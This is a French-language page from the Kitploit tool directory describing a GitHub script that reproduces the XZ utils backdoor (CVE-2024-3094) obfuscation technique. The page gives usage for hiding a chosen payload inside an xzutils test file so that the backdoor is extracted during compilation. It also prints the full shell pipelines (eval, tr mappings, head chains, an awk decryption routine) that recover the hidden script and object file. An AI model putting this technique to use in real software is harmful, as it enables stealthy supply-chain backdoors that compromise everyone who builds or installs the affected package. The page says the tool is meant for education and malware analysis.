Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
xzutils_backdoor_obfuscation — Script pour obscurcir une charge utile de la même manière que celle utilisée par l'attaque XZ utils (CVE-2024-3094) | Kitploit
Outils/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
ExploitationRétro-ingénierieAnalyse de MalwareSécurité de la Chaîne LogistiqueApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHubthomrgn/xzutils_backdoor_obfuscation

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

xzutils_backdoor_obfuscation

Script pour obscurcir une charge utile de la même manière que celle utilisée par l'attaque XZ utils (CVE-2024-3094)

Voir le dépôt
il y a 10 moisPas encore vérifié

xzutils_backdoor_obfuscation

Ce script reproduit la technique d'obfuscation utilisée pour l'attaque XZ utils (CVE-2024-3094). Il a été testé uniquement pour xzutils v5.6.0.

⚠️ Ce code est fourni à des fins éducatives uniquement et ne doit pas être utilisé pour des activités malveillantes. Utilisez-le à vos propres risques. ⚠️

Prérequis

Vous devez avoir le fichier original good-large_compressed.lzma de xzutils 5.6.0 dans votre dossier de travail.

Utilisation

Exécutez la commande suivante ./obfuscate_payload.sh [votre_payload]

Un fichier good-large_compressed.lzma.modified sera créé, qui doit être placé dans le dossier test/files du code source de xzutils 5.6.0 sous le nom good-large_compressed.lzma. La porte dérobée sera alors extraite lors du processus de compilation.

Limites

Ce code a été testé avec un fichier liblzma_la-crc64-fast.o édité de la même taille que l'original. L'utilisation d'un fichier plus grand peut ne pas fonctionner, car la taille du payload est limitée.

Désopacification du payload

Cette partie est facultative, elle montre comment désopacifier le payload à partir de good-large_compressed.lzma. Vous pouvez l'utiliser avec le fichier original, ou avec un fichier créé à l'aide de ce projet.

Prérequis

Vous devez avoir les fichiers originaux good-large_compressed.lzma et bad-3-corrupt_lzma2.xz de xzutils 5.6.0 dans votre dossier de travail.

Étape 1 : Extraire le script caché dans bad-3-corrupt_lzma2.xz

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

Cela vous donnera un script bash qui exécutera l'étape 2.

Étape 2 : Extraire le second script caché dans good-large_compressed.lzma

Exécutez le code suivant, extrait de la sortie de l'étape 1

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

Cela vous donnera un autre script bash qui exécutera l'étape 3.

Étape 3 : Extraire le payload caché dans good-large_compressed.lzma

Exécutez le code suivant, extrait de la sortie de l'étape 2.

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Cela extraira le payload obfusqué liblzma_la-crc64-fast.o

Télécharger l’outil